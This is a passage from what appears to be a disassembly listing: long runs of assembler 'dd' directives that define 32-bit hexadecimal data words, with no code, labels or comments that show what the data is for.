		dd 893D2703h, 90F4F898h, 170C1021h, 0F3CAB5h, 6A5CFE2Bh
		dd 0FA1E77BBh, 0F20054ECh, 9E6EB0A6h, 0CEA50013h, 8F3EA482h
		dd 1503E180h, 0B1E304D3h, 1B6AA810h, 3827008Ah,	69C31154h
		dd 89033795h, 0EA335817h, 60979FCDh, 0B1468D1h,	0C2D01025h
		dd 9B3B004Fh, 2BA867DBh, 0DF03767Dh, 0A18418Bh,	0B400058h
		dd 4022E9CDh, 7800E2C1h, 0D771CB25h, 69C2C5h, 32133EAEh
		dd 0A5F2D358h, 2FEEBB00h, 0C67F8E30h, 41E2007Bh, 0C71FCF65h
		dd 2C7A03DCh, 0FB00A67Bh, 307ADF44h, 72440D3h, 616D9A78h
		dd 24BE6FE8h, 1EF38C60h, 0D03012D9h, 2F0281D6h,	1A4E004Dh
		dd 43288F6Fh, 0D43F8A6Ch, 0D3B08E52h, 0C9CB9E16h, 0D27706F5h
		dd 0F9B080C9h, 2C000E0h, 0C2380F9Ah, 0E500FF6Ah, 817804B3h
		dd 0EC7FC59h, 278FA920h, 4A9EE881h, 52CCE882h, 0F80067F8h
		dd 2C264C6Bh, 0E3157h, 86AD9B21h, 5DF17712h, 3CB82760h
		dd 3087078h, 0ED2EF6A6h, 9DE0D290h, 0F150A1F4h,	45004C84h
		dd 213C7A1Dh, 4D7786h, 0BFC9BB72h, 14D88C94h, 0F627D500h
		dd 1C5EF9A7h, 25A50F56h, 67E39351h, 0BAA0C7E7h,	12002824h
		dd 0B0084586h, 61DCC5h,	0E7CBF2AAh, 0E3EEA5ADh,	372F1200h
		dd 23B28924h, 0FCA0A011h, 793200CCh, 590BFE41h,	0E300D714h
		dd 6D2758A1h, 0F62CA2B7h, 95A707A3h, 0BC44A06Bh, 7C3886D8h
		dd 1723810Fh, 11CE0853h, 56E2F0h, 31A03E15h, 0C3719BE5h
		dd 0CDF67707h, 0D310B77Ch, 0F6AA4196h, 82F5304Ch, 1CA289A8h
		dd 0F9C84D01h, 1D4295EBh, 0C03D2CC0h, 0AE097EB0h, 0A930B05Fh
		dd 264D307Fh, 8CF504B2h, 929BD01Fh, 5846D860h, 1654AA01h
		dd 0B7DEE091h, 24631424h, 60088737h, 6F95418Eh,	0FDE8D000h
		dd 0FB197DAh, 4FF30015h, 0F22D08C6h, 25003EA7h,	1B09AD4Dh
		dd 2D40B9Ch, 51A8440Eh,	77C1E198h, 7D6CF00Ch, 0F2B17E00h
		dd 26671CABh, 7BB32C2Ah, 0DC1E73h, 9C11E4C5h, 0B604818Fh
		dd 0C2A5DD36h, 153ECC8Ah, 3411EC03h, 8EF0E85Bh,	0C90CFDA6h
		dd 48C71303h, 0B4BD0006h, 2D8B28F0h, 6A283DBFh,	1500ECEFh
		dd 6B61A8EDh, 8D57B7h, 0F0A72C72h, 12070147h, 3C5B6618h
		dd 0FC0AAD28h, 0FAF84Ah, 9A695E6Ch, 0CA558DD7h,	5BAE3813h
		dd 599F0C00h, 70DD18Eh,	0F5119097h, 9C790089h, 0E12CCB37h
		dd 0BB1224D2h, 0E6ACF400h, 1BCCD7C0h, 0D092DC7Fh, 74A15E88h
		dd 46518109h, 9BD8180Fh, 0C4C95241h, 1B70F403h,	8690F6D8h
		dd 65001913h, 9DF3C912h, 0EA523025h, 7D9F1CA4h,	2C18DFD2h
		dd 4D9268h, 0A76CB6D8h,	0C600C777h, 0D8CABCE1h,	4C198F3h
		dd 949CB08Ah, 0B3383D3h, 0EF4080ECh, 7013D286h,	45DFB13h
		dd 12027D42h, 7B94403Bh, 60C203A7h, 579FBD4h, 7A39BBC0h
		dd 47F19860h, 7D1324E7h, 0CC3D303Ch, 0E6FCDFD0h, 908B4800h
		dd 1D850396h, 76C21F89h, 0C5E4806Fh, 0BC8211E1h, 23035091h
		dd 0A8C68553h, 0EAE2D5C9h, 0D6930289h, 9E08433Dh, 68A6C864h
		dd 6F6A9501h, 0CBDA796Eh, 0D1B4A410h, 6BC30085h, 9D9B716Dh
		dd 219C5C4Dh, 332F8062h, 65F8A958h, 597EEF15h, 90F00884h
		dd 128022D1h, 5FFDB44Bh, 0CEFA01D0h, 0C9348D66h, 0E23DF09Ch
		dd 0FBEBF306h, 0C409353h, 34BD848Ch, 80096F1h, 0B0DECB42h
		dd 700A3561h, 44B9C0B8h, 2A9881D1h, 0FEB65D02h,	0C092800Eh
		dd 0C97353h, 893BCCA8h,	0EAB75C1Ch, 83A4B01Fh, 0E3789680h
		dd 0ECE6BB2h, 0C752B1E0h, 0A0E42CE0h, 0E103FF79h, 39C815Bh
		dd 98DBB3B5h, 6C3370h, 3A404BD0h, 216E4F5Ah, 0E0ED3D01h
		dd 6BC2B42Eh, 6DD71083h, 0E5C054D3h, 9409BE4Dh,	271C03F2h
		dd 0BF372934h, 0ADAAAF90h
		dd 28D04904h, 89B57883h, 0E29F0609h, 0B95080CFh, 1C36A35Ah
		dd 40FC5620h, 0E5ECB03h, 8E4C1060h, 0B0590008h,	866EB7E4h
		dd 8E62481Ch, 8DCF1D00h, 0D3AEAA7Bh, 2D0001EEh,	0A18BD789h
		dd 0A7B272h, 0ACD26A0Ah, 0EAB11B0Ch, 0FFAAF900h, 43E4C035h
		dd 204031Ah, 0ED127AAFh, 216826E8h, 9FD9B800h, 0F0A9521Fh
		dd 0FDEC08h, 9684F2BBh,	59079A0Fh, 4200EEF6h, 0D0C73302h
		dd 1D7714C5h, 0B84490h,	98EC2619h, 73ED263h, 222983B3h
		dd 0E894CEE9h, 2BBF56h,	0F94A8E04h, 0C43AF368h,	38D49F38h
		dd 1CD8044h, 100907C0h,	0A8B2502Fh, 0DFCE02B5h,	0AF4B71A4h
		dd 29C33048h, 1D7FED76h, 0FB008492h, 9588E9D7h,	0C2C840h
		dd 0F2500A85h, 312BB72Fh, 0C1649704h, 8881A123h, 0A107D6Fh
		dd 8603DE8h, 0F9CAD240h, 0F63122Eh, 98E040B2h, 8933B9ADh
		dd 1017C4A0h, 0D0EF7F2Ch, 0A4F0C901h, 0EC40A364h, 0BD46B5h
		dd 3C49D1Ch, 0D191E678h, 6F28FE0Eh, 36E4802Dh, 266C38h
		dd 6375DF3Dh, 128EE6EEh, 5D02507Eh, 0B19C4FCEh,	0BFC0406Dh
		dd 4A3F0024h, 4BCC9951h, 0A1031610h, 9E7B80CEh,	0C81FD25Eh
		dd 0B91C90h, 0AC3E3FE8h, 7B722ECAh, 5379932Eh, 830CD42Ah
		dd 0A93E4FFBh, 0F0B2461h, 0AB0980ACh, 0A56277F7h, 8AC3D700h
		dd 19FDADD2h, 66EB0076h, 1154FCA9h, 8C06313Dh, 0F5B0CCB9h
		dd 0F82A16A0h, 0BD7700FEh, 0D7A928D4h, 80DC7059h, 0CE5BC239h
		dd 0AE58008Ah, 0B47FEBB1h, 0E4074941h, 0E2851571h, 66E67752h
		dd 16531394h, 78C070DEh, 7A758FA3h, 0C53C0418h,	632DEB8h
		dd 0B16453Fh, 701671F7h, 0E401D414h, 6DC435Ah, 4C6EC0h
		dd 0EAD022AFh, 1C8A31BBh, 3773120Eh, 0E4E5241Dh, 501411C0h
		dd 238F2E22h, 487C2478h, 250DC47Ch, 12855893h, 658EBA8h
		dd 891EEF9Ch, 8FB6BF19h, 0D0B28CE9h, 0CC1AB3E9h, 0AE1A0978h
		dd 5045D748h, 0AD31F700h, 0BA2A5C23h, 0A81F5CBCh, 9C012125h
		dd 0FF561722h, 0D4B16816h, 9C033E00h, 989FC126h, 19890DCh
		dd 5ABAC823h, 208A81FDh, 6E0B3A08h, 2EB6B5E2h, 0BA89C0BCh
		dd 0C0A7284Ch, 0FD7A6081h, 8700C09Fh, 0ECD450AAh, 4199A0h
		dd 5411A947h, 0A78FC95Ch, 13009A79h, 0F2EE32ABh, 0F6E09824h
		dd 934C0388h, 0E35165DEh, 3E94D790h, 63024000h,	5D255AA2h
		dd 588D1DE4h, 87DCE1h, 0DFFF99D6h, 7B016C6Bh, 0F863FCA5h
		dd 25D829B1h, 3DFE73h, 7A404FE0h, 0A1C6604Ah, 0B41EB6EAh
		dd 8F49CB77h, 6B70236Fh, 0F9D919B5h, 0C886D138h, 4406DC27h
		dd 6511E36Ah, 0C4D1F20h, 14F3C6DFh, 1E27281Fh, 200C0074h
		dd 17CB807h, 411271F7h,	215C6E82h, 0C317DCBCh, 815D383Dh
		dd 0FD688DC6h, 2080656Ah, 4B85479Eh, 0A900B292h, 38B9B580h
		dd 0F3C68Ch, 0DA88FD67h, 8BD53917h, 6FFA8374h, 1EE5FE00h
		dd 2EEBC416h, 7CAB0052h, 338724Fh, 5548C9EFh, 244A0F3Ch
		dd 3A7EA012h, 0E91DC8h,	0FFD89D2Eh, 0F4C6396Bh,	8A0E4000h
		dd 38501A4Fh, 2DCC009Ch, 0D5815A85h, 9900E28Dh,	6B14C99Dh
		dd 1DB1912h, 92B724EBh,	29A7CCC8h, 73047D6Ch, 0E4CDA4B4h
		dd 0D5DC090h, 2810038Ch, 1ECF27F8h, 0A08059FAh,	0AAE04882h
		dd 0D8AF0400h, 0EFC45B8Bh, 8B10094h, 3C9AE324h,	3A39594Fh
		dd 3EC70026h, 42A912FEh, 56E237h, 8667C63Dh, 723539Dh
		dd 40B67200h, 5BAA3EA4h, 0EB7F45Eh, 0C0E4DBC4h,	0B4FF00D3h
		dd 456785D7h, 190ABD00h, 254762EEh, 155400A0h, 0BED4CC4Ch
		dd 1000BAECh, 91CF8FF4h, 0F14906h, 93B2085h, 0EAE16DBDh
		dd 0B1284200h, 0B9D6705Bh, 0B41C00D9h, 7E602FD8h, 7D001497h
		dd 0D4A54FC0h, 492537h,	77A3570Bh, 5D5B0370h, 80D2F93Fh
		dd 4EE4E396h, 87015Ah, 6D279174h, 0AB5D2044h, 9D38291Fh
		dd 0A06F7240h, 1481BBh,	4E612BCEh, 8086576Eh, 0E7BD5801h
		dd 2DF851E1h, 0F592C0h,	0FAAFC3F2h, 883F1202h, 2B803D00h
		dd 320AE043h, 3B9831h, 0AC39D26Fh, 6ED7961Dh, 0BBC44800h
		dd 35868859h, 379D003Dh, 0FA531BB5h, 0AF01DDCAh, 61368C4Dh
		dd 0F2FCE3D0h, 69913F3h, 0B0C0D021h, 5C00CCF4h,	60A13B42h
		dd 24806FCEh, 0A731D2h,	0AB5A5F9Ah, 20C0E0A6h, 9B98F78Ah
		dd 0EF310037h, 0CDF012A2h, 149828D5h, 0E13EB3F4h, 0AD410049h
		dd 7279AF20h, 6630D82Fh, 343FF6BAh, 6E400036h, 0C51DF34Eh
		dd 73FD05FFh, 80CC476Ah, 0D3FBBFFCh, 40D83600h,	8598C195h
		dd 0D77F0158h, 9A9C118Ah, 0E76820FBh, 0EB252000h, 6A287AC5h
		dd 903A008Fh, 5DC13504h, 0BE01FA4Eh, 3EE6BDD0h,	0F7605381h
		dd 38A063B9h, 80E0E9AEh, 0BC267F22h, 0B680B435h, 68D2A7CAh
		dd 0D18C0047h, 0EE5B86BBh, 0B807F78Bh, 0E5819628h, 0B30FE010h
		dd 1B260717h, 70207845h, 0A2CE9788h, 0FE8E7B07h, 42C0DD24h
		dd 12C58632h, 686E5Eh, 0F9C82E8h, 0D200168Fh, 0C6A155A0h
		dd 9AF075h, 0CFF1103h, 0AAE24638h, 75DAF00h, 0E70569B9h
		dd 0CDE10075h, 60213A8Ah, 61B8AC71h, 33F02009h,	10E8003Eh
		dd 7DDFC4h, 0E23CDD4Ch,	3B069C1Bh, 0A0FD982Ch, 0D4155200h
		dd 304843h, 95191840h, 916B6926h, 86C7A40Fh, 127408Bh
		dd 0F2D9FDFBh, 4243BDCh, 0ACEEF901h, 0D4757FEFh, 0DF003BBBh
		dd 6CD1CCBDh, 6A499Eh, 5601CE5Fh, 0B7D774C6h, 0B40EA090h
		dd 0C0139CAEh, 4BFF86B2h, 8250000Dh, 7DDE3A23h,	3800DDE3h
		dd 9570E91Eh, 3937B4h, 862FB141h, 0B3E7CEEBh, 0AB98A90Ch
		dd 8850E5h, 6882915Ah, 0EF768502h, 8F5FFD0Fh, 0F865607Ch
		dd 0B85CF73Ch, 30E76090h, 1AECE2ABh, 12014F7Fh,	4A0D89A0h
		dd 6EF03510h, 317144Dh,	7302945Fh, 0A0762638h, 0AD48D960h
		dd 582BC324h, 1FAFC900h, 0EE35A11h, 0E5AEB564h,	8E909F40h
		dd 0E6008ACFh, 0E4FCA782h, 0EECE8FB2h, 4C3B0919h, 0A860267Dh
		dd 2800848Dh, 2FE08033h, 0BDAA0A8h, 15787263h, 4D594C00h
		dd 6209ABF5h, 0C81F86EFh, 0C52B10h, 8C185B8Ah, 31799DBAh
		dd 600DD701h, 907D07D0h, 6194EC0h, 0FE44758h, 2B00A82Ah
		dd 652C36Eh, 1C1323CEh,	19E8CC85h, 0BED52004h, 26685D2Ch
		dd 0B61EE9A2h, 6216FEDDh, 0D018B219h, 393ABC00h, 350EB5FEh
		dd 0E0725D9Ch, 11877F2h, 205C0F55h, 4541190Fh, 81B133F6h
		dd 0A7A40E38h, 3840E124h, 7CEDB806h, 0F55E00E6h, 6AC4F2CDh
		dd 6C0047EAh, 0E29AF150h, 7766F62h, 2D6D58CEh, 884126A7h
		dd 8CC01F0Ah, 0F180A46Eh, 190CE12Bh, 20E06B3h, 29EEE4A7h
		dd 2966B800h, 0C5D6CBA6h, 26CA0055h, 0DCFAB5AEh, 38015AB2h
		dd 0AC2E2CD4h, 0D9D92D31h, 3C549D8h, 592A1243h,	0B13FFECAh
		dd 28EB82A0h, 0E0C39E85h, 0E8CCAE7Bh, 3E21C0CFh, 8C10EBBFh
		dd 0BC99C000h, 0BDD3B7B5h, 0ACFF3C09h, 217E0180h, 0E55F78D8h
		dd 4006FE71h, 6D962768h, 0D0A00C9h, 53FF0397h, 0A733040Eh
		dd 7B0864h, 975EA821h, 71D0318Ah, 137FF100h, 94EBBD43h
		dd 87C8C540h, 3DB8004Ah, 2EE210D2h, 0E7BFE8A9h,	91BF9293h
		dd 98E86EA6h, 5F21C509h, 31BF0322h, 7AA5994h, 6BAC7E8Fh
		dd 8A00D479h, 0D67DFFD9h, 807A7569h, 0AC73EC45h, 49D89F6Ch
		dd 0EBEA001Fh, 0FED15042h, 2D333C19h, 0A4B820F9h, 432D500h
		dd 40005894h, 65F53545h, 0D9F748FBh, 1817B8C0h,	0EE0FE428h
		dd 0C6448C86h, 0BF2500A8h, 71329D84h, 3003FFB6h, 0CD05F2DBh
		dd 0A77100B3h, 0B9A6F688h, 730E034Ch, 0C1060CDDh, 4D9C19B1h
		dd 6AA00FCBh, 51E0C5C2h
		dd 0CF660827h, 7F49B600h, 3A7156C9h, 0BA36009Ah, 7084313Eh
		dd 0D81CB53Bh, 8980A674h, 22A01120h, 8CB07C0h, 10F5B4C9h
		dd 0FF71BE63h, 0A2CF3Bh, 15E7657Bh, 3C10C72h, 0A8AF2561h
		dd 0C5A2E82Ah, 4C8F4840h, 5004A7Ah, 0B24E49BDh,	3AD1933Ch
		dd 70BF8D07h, 4645276h,	1F00A7FEh, 3D0EBE6h, 5537366h
		dd 200C9CB3h, 291D1C3Dh, 31D7610Dh, 0C1FB4446h,	4199F4D5h
		dd 3704AA00h, 0AC422A98h, 84C00456h, 8CED6Bh, 87DBE3ABh
		dd 381603AFh, 3DA909DFh, 31AE8100h, 4EB75817h, 8EC5035Bh
		dd 6C3A3BC2h, 2029BFB8h, 18D8FF4Ch, 0A9B1765Ch,	0AB0800D5h
		dd 60224D85h, 7D3A54BCh, 8C1503A5h, 3BF46E67h, 0A43001C8h
		dd 73B1DCB1h, 0A18F41C0h, 0F00906h, 716C8325h, 0ADB8DCDAh
		dd 0D0201860h, 0CF2FA908h, 0D680D9A1h, 8875168Ch, 96005D74h
		dd 1FB3427Ch, 370E7D3h,	0E0430976h, 7806EA5Bh, 65A90340h
		dd 37B63841h, 1A3E6905h, 5AA4401Eh, 1DD384EFh, 0EAB41218h
		dd 3C588208h, 0D000192Ah, 900722CEh, 0E6000865h, 0DB6EEE01h
		dd 0B8E55D15h, 58771D01h, 0A8C60235h, 0EDC33183h, 0D1995014h
		dd 70C960BCh, 0EA7649h,	9578CE2Ah, 0E462E5B6h, 6CC7D403h
		dd 5C0B84h, 1C1ECF51h, 2557751Fh, 7130FE00h, 0AF16F386h
		dd 4B6B22E7h, 0A5537D00h, 0E5D61B82h, 0B60D05D3h, 0E0EDA234h
		dd 0A9302796h, 0E544F962h, 0B3680116h, 0BB857DE4h, 4C0898DCh
		dd 39ED7921h, 188B9B11h, 0B580DE02h, 767D51A9h,	0DCDC0D2Ah
		dd 8CEE307h, 0CD90CC2Eh, 11FA04h, 0F757C136h, 3D610D43h
		dd 0A1240937h, 0E04FF88Ah, 1C74B9AAh, 6D2700A5h, 0EE88F306h
		dd 0E800A786h, 54892087h, 1876B3BAh, 39D3D201h,	0A1CF4BFAh
		dd 975AC098h, 0B1FFCBh,	0C14E997Ah, 0EFD45CCAh,	0D375C000h
		dd 0B640359Fh, 0E89501DEh, 5C1018F2h, 9034249Dh, 82142E7Fh
		dd 2AB4340Bh, 0A430B8F3h, 26DD2019h, 46300040h,	0A2B5B12Ch
		dd 3F127C6Dh, 9C40EA6Bh, 0FC52D03Dh, 0FBBD3AD2h, 6B42401h
		dd 0E1057479h, 84C0580Bh, 334C2CC4h, 3A242C81h,	82B1C980h
		dd 65B75EC5h, 66749A05h, 9C060378h, 2469E3F6h, 4E585753h
		dd 0ECA192CCh, 80B4C73Eh, 283D7D88h, 125A15E9h,	48EF2FB7h
		dd 84709AB0h, 83063510h, 0C9680299h, 4C46E746h,	39799D00h
		dd 0A5AA143Dh, 9AC70029h, 6D78CCB7h, 949168DBh,	8ED2000h
		dd 63A96944h, 9372A187h, 29C8FFC3h, 8300423Ah, 2A6F0696h
		dd 0C149E73h, 5E1D0843h, 810FD199h, 55A63Bh, 65E1C4B3h
		dd 0F9E663F3h, 2900B20Dh, 0DC1DBD82h, 90C3A0h, 6C247ABFh
		dd 0F198DFCCh, 0B148DD12h, 83D6044h, 0B98AE48Bh, 8A5B08ACh
		dd 860720B1h, 33437183h, 3DF88006h, 4260B9A3h, 40C56738h
		dd 86A0F9Ch, 240D38Eh, 42011586h, 23308C48h, 40300116h
		dd 18C4F6C8h, 28DF88A7h, 56514000h, 7BE682CDh, 0F7B5Bh
		dd 0A0B60237h, 6386EC03h, 0D0981709h, 0FADC83A1h, 0A7B11F33h
		dd 42A21CF4h, 0A4ECAA1Dh, 0B0159463h, 24801F1Ah, 2B000809h
		dd 7B66D579h, 803BE40Dh, 49C038FAh, 8068CB1Fh, 58DB011Eh
		dd 52D2D5B5h, 770C2095h, 8735B938h, 0BC985AC4h,	1C135FC5h
		dd 88563C08h, 68A80953h, 0CC4743Eh, 215768B5h, 212C052Ah
		dd 0ACD67FCh, 98A4A5A0h, 0B48B211Bh, 0EB342201h, 0C4D07689h
		dd 0C48720C0h, 306BCA48h, 23E52127h, 0E008156Ch, 0EF5C008Ch
		dd 0F0D01021h, 506BA818h, 180C139h, 7A4FBB66h, 8FF27B84h
		dd 61274A31h, 43767872h, 0D9310BC9h, 1D64C981h,	433F0ACAh
		dd 0F07DA2BCh, 0E8772C88h, 8C1D0BF2h, 2C201A0Ah, 0A65F6CE2h
		dd 86F7E00Bh, 417E06AFh, 642C0458h, 624A83Ah, 103828EDh
		dd 0ED55636h, 0C7C25E23h, 0ED80EA88h, 0C1A30F0Dh, 0CD2AAD49h
		dd 34646001h, 2924D83Fh, 17001828h, 4BD1E58Eh, 608A24A4h
		dd 6F1080F4h, 0BBE82265h, 8CC67F00h, 0AFFB88DFh, 381C00CCh
		dd 47A09727h, 498CAD4h,	24D7B100h, 0D9CDC0F0h, 9CC71CB7h
		dd 1AAF4089h, 76758F4Fh, 2AB85A63h, 1EF105EFh, 48131091h
		dd 758E739Ch, 84A0664Bh, 0C5700F11h, 0AD037758h, 4C53C9Fh
		dd 3168B6ECh, 67E8F96Bh, 0F1448C75h, 21130090h,	9F28FE4Eh
		dd 0A902D92Ah, 0FA29C671h, 5BD8A037h, 6A2EDA3h,	0A9AC801Eh
		dd 7D0E193Bh, 0C0CDEE29h, 2EB13340h, 61A71F4Bh,	8742499Ch
		dd 0BDFE0420h, 0C00085B6h, 2276FA78h, 16F5BC36h, 2068826Eh
		dd 0BB0E29B0h, 3E11603h, 89228494h, 0C248BFAh, 29536068h
		dd 9895C9CBh, 0F00E3E7Fh, 2518B51Ch, 81BF59FEh,	8D83D550h
		dd 0A9BDDC79h, 0C9FEE0h, 0EE099D68h, 0D7D2105h,	0D65B7900h
		dd 92B9F099h, 0EA1CA00Ch, 387006Ah, 7F3D23Dh, 0B20C8B98h
		dd 5174FA35h, 62683EC6h, 8788800h, 15E0EC11h, 0F002D698h
		dd 6BBBE316h, 597F40F5h, 6DFA30B8h, 0D9CF8A39h,	0A942802h
		dd 0C0EEB5F6h, 177362A4h, 841A01Fh, 0CB802160h,	0B512C8C3h
		dd 3C4B003Dh, 27F24950h, 3403587Fh, 0B9232FD3h,	0A0DFAB85h
		dd 0F0DC2572h, 1F1C788h, 71D1CCD5h, 5AD2DB02h, 52126517h
		dd 24275C68h, 0F89F2976h, 1F3D05E8h, 5B8C88F4h,	15F13945h
		dd 77D6062h, 0D6B89622h, 1C21FCFAh, 7E2FD700h, 160CDDA9h
		dd 3710095h, 6134D083h,	3DF276D8h, 9F44CF00h, 21D47DBh
		dd 0A8990390h, 881A253Ch, 0C5761BE0h, 0FB00B3F8h, 38BBDA93h
		dd 340A4C4h, 855D5BE2h,	64D8808Ah, 2D00C8F9h, 0D39FF2BEh
		dd 0F11F14h, 71E4CA4h, 0EC0ECC80h, 565DBD00h, 0A192AEC8h
		dd 86DE015Eh, 780C321h,	3B44808Fh, 0EE0BD41Bh, 1BB1F817h
		dd 202CB586h, 0B8405103h, 0FEA84B0Ah, 58420111h, 4D9D8AC2h
		dd 36933025h, 96D08C6h,	1037020h, 0DAFD1BC2h, 0C434EB87h
		dd 0D0029267h, 143BE04Eh, 9120C304h, 0E2E00B28h, 6B70E1F1h
		dd 0C4DE0032h, 0D0E9CD0Ch, 0D800D2EDh, 0E66A8816h, 0C45365D1h
		dd 0C23898h, 4672EFE2h,	12C3763Dh, 60ABEB0h, 28C5BDF1h
		dd 0FDC99E00h, 0B2E426F2h, 0D8900034h, 0F7659FBh, 0C23D2466h
		dd 0AFEF802Ch, 5E8A869Fh, 0EB8B00ABh, 3AC376D2h, 74F3B6ADh
		dd 3800EC7Eh, 0C9F09D97h, 0EA90EDAh, 908BC47Ah,	1D509EE0h
		dd 0BAEA52E1h, 96D44600h, 3575BB4Ah, 1C04036Bh,	90B1814Dh
		dd 4B6CDBC8h, 80038E3Bh, 1EA8A13Fh, 652E97A9h, 3A0511FFh
		dd 0E258C304h, 0B710007Ch, 6B6E9816h, 303BD222h, 0E88900EAh
		dd 3B474593h, 0CB00024h, 50FFA042h, 0F40062A1h,	7307E69Bh
		dd 120D43h, 0A91D8B1Bh,	4D5F80BEh, 0B2F63501h, 57CF7907h
		dd 38916DDCh, 0BA018902h, 6410D08Ah, 0C0BECDBBh, 0D1F6704Bh
		dd 732F1D00h, 34A25F93h, 0D49800D9h, 304C9D5Dh,	5C60D77Eh
		dd 0A86BFE38h, 74683F89h, 0CA215B00h, 0EA04B09h, 5FC65D0Fh
		dd 0F830E007h, 4FA172h,	88F09E84h, 0CECC43CAh, 0F30BA000h
		dd 0E66F7CA6h, 0BDAD074Bh, 60CAB1DDh, 244EA889h, 733A1B06h
		dd 48DA4Fh, 5DB2A2B6h, 185955A1h, 9300AB75h, 2226CFF3h
		dd 0FBF174E9h, 0AD0DFFCh, 2425BF94h, 0E8AA8FB4h, 7C7E40E0h
		dd 0C0C05DCBh, 323D2734h, 50BE06A2h, 391C5390h,	7E88AE7Ch
		dd 170100B5h, 55DA913Ah, 0BB0060A0h, 0E0112BC0h, 185C1FF4h
		dd 91109ADCh, 700FE93h,	19CD52DDh, 0A7E0D3h, 97ADAC81h
		dd 0C97C7845h, 11007470h, 8DFFC455h, 7C0138Ah, 73A34622h
		dd 0BD6060D6h, 2906E298h, 0AA521FDCh, 0D02500AAh, 77E711CCh
		dd 9A017B47h, 6F809D44h
		dd 91D475F5h, 86721E45h, 66701F25h, 6C0900D5h, 0B4BC172Dh
		dd 0CFDEC51Ch, 1E0AB000h, 24E0CAh, 1CF1CBA6h, 0B4CE8A9Ch
		dd 0A9D4FC01h, 7A69B8BFh, 3EA08040h, 0F350F9Fh,	568011B2h
		dd 0C4771FEDh, 400D0A0Eh, 807B5D5Fh, 4FEC8DB3h,	3B9A59D5h
		dd 0E780E883h, 425C8732h, 0F0C71F08h, 29A0D55Eh, 54C756h
		dd 534ABC93h, 5AE131F2h, 0DB704401h, 6245E72Bh,	215FC441h
		dd 0F55AF911h, 0E927D403h, 8A644A05h, 0CDC0B423h, 0DF60E8h
		dd 0DC6D8584h, 4DCB651Bh, 6A672D17h, 0C869600h,	7B593D3h
		dd 99726277h, 5F9720C4h, 778B7A1h, 0D65D8D00h, 144D2ECDh
		dd 0D10400ABh, 71A8E8B5h, 0AD907B73h, 2CFC0550h, 3900197Ch
		dd 9E3F9DB6h, 7C72F4C1h, 0DF0C1F22h, 67B94246h,	0D6403C29h
		dd 50007E81h, 0F6FAAB06h, 3D583231h, 0D493AFB9h, 0C50040A5h
		dd 765A2B1h, 318B2D09h,	35240052h, 0F7A4Fh, 27AF68C0h
		dd 0B0BF1BC7h, 0EC502300h, 28E303F4h, 20920088h, 0F6FFCDFBh
		dd 0DC70E2D7h, 8E6AA700h, 0D818CF63h, 66253B71h, 3100BF4Ch
		dd 0EF62AD16h, 0EB005D03h, 449B78CCh, 0E9249Ch,	0B874BDCDh
		dd 9E3AA31Bh, 0F8767F07h, 0A4D06C66h, 81D2E2h, 15B19B79h
		dd 423071C0h, 7502A200h, 5E9872B3h, 0B57F64h, 9B668F26h
		dd 321259BCh, 423DA400h, 0DDE7CAD8h, 687A009Dh,	4D0E33A9h
		dd 9400990Ah, 0F073CC05h, 6EB1A7h, 95C8A6ECh, 7C2E2CB3h
		dd 3EBC9E00h, 94841AF1h, 23B400F0h, 5551652Dh, 52008846h
		dd 1A7C9149h, 70BB38h, 676F9A4Eh, 242FD1Eh, 8F0E4301h
		dd 0F01B7B58h, 144E73E8h, 0C0AB7E1Ch, 0CC009C3Dh, 69EAD07Fh
		dd 0D8384D64h, 97B48E53h, 0BE6E40DAh, 0D5D4C1h,	9ACC5AEAh
		dd 94449A9h, 13667000h,	92ECF595h, 0E3F000Dh, 5D32382Eh
		dd 41006AEDh, 9BDC20F0h, 0F2C4C45h, 90968F69h, 74B45BA0h
		dd 0DF0026BDh, 6BE17275h, 876671h, 6798AE4Ch, 0D718D4BFh
		dd 91A80C04h, 84901378h, 1C6ED69Fh, 0F6F47h, 0E790D095h
		dd 0FA1321D8h, 0B8040B33h, 74877078h, 0E81BA233h, 0C0D7B0FEh
		dd 23932718h, 7B085709h, 8D96A5h, 67836DF8h, 48B28650h
		dd 1C36B600h, 499D1093h, 0A2C00B9h, 0F435F9D5h,	0E00FD634h
		dd 40A0C967h, 3FF86A3h,	7151070Fh, 10F33181h, 0F0014EA2h
		dd 6732C400h, 0D7F205E0h, 913C1E24h, 353C2E3h, 0BF40B426h
		dd 1200BD3Ah, 864A7564h, 5EB6BCBh, 513CD342h, 0AB800E33h
		dd 72573000h, 9C009F79h, 0B6BE7EEBh, 4C15B2B1h,	39006CFAh
		dd 0D6831252h, 0BD00D79Eh, 2DF677AEh, 0FB2073Eh, 3B39DA0Fh
		dd 0A96F8DAFh, 0E91531E0h, 10108B5h, 0D067506Ch, 53DCE1DEh
		dd 80235345h, 9614CD00h, 1AAAE70Ah, 7A0AA0ECh, 0DEF29971h
		dd 5201A900h, 0EC1B8FB9h, 9F240108h, 0A103C518h, 5FD9F7F2h
		dd 0CE30D4BDh, 0D32BD500h, 0E4A57057h, 3A7CE9h,	254E49B7h
		dd 1250888Dh, 7701BB0Eh, 0F1F7E00Ch, 0B5787Fh, 803B1441h
		dd 862F23A3h, 0EA2A990Eh, 54040DAh, 9F8C8Dh, 0F6913736h
		dd 9D11574h, 76B5CC00h,	757E6FD0h, 7CAF84Ch, 68A79091h
		dd 3243F0E1h, 357E2DC2h, 836C522Ch, 22D62900h, 3407CCEh
		dd 55A8EAF5h, 0EEB06636h, 1100DAE1h, 5801BEC2h,	1C7F910Ch
		dd 98B01B89h, 311758A7h, 0BC2E1998h, 5C806CDEh,	59FD7D67h
		dd 80E479h, 610A091Ch, 0E2B9CE83h, 0AEB0BD00h, 3519C5BEh
		dd 38A7002Fh, 9CCB1F6Eh, 0B939B157h, 164B001Eh,	6DE8C47Ch
		dd 5CD50078h, 0C3E28371h, 7D05DAB5h, 0AD2AE5F1h, 15067480h
		dd 6A6C30D9h, 0C3BA2380h, 9B672BF0h, 0E287AA11h, 2F6097C0h
		dd 0A9D2B4h, 0E8F2E3B6h, 0F800CBA0h, 2970D1D0h,	0CE7B53h
		dd 0D7C0C86Dh, 24E6CF72h, 3CD21600h, 19CC692Dh,	0E1FE0055h
		dd 2AA6B7C7h, 6500B899h, 28F77CF0h, 9133207h, 0E36A2B4Dh
		dd 2975E020h, 79197C1Dh, 0F8211A71h, 82EADFE1h,	4801B748h
		dd 4CE32AC4h, 2860564Dh, 0AEA384F0h, 395800F9h,	5A2E00FEh
		dd 918CDEB6h, 84F4064Eh, 0E6B7B300h, 3F65A93Ch,	0F1854CD4h
		dd 0D9F4220Eh, 8A20956Fh, 0FEF5DF9Bh, 50195400h, 0FB23C199h
		dd 0B1491DA1h, 0F6874084h, 0FD7CD865h, 0D7C51E00h, 3F13F851h
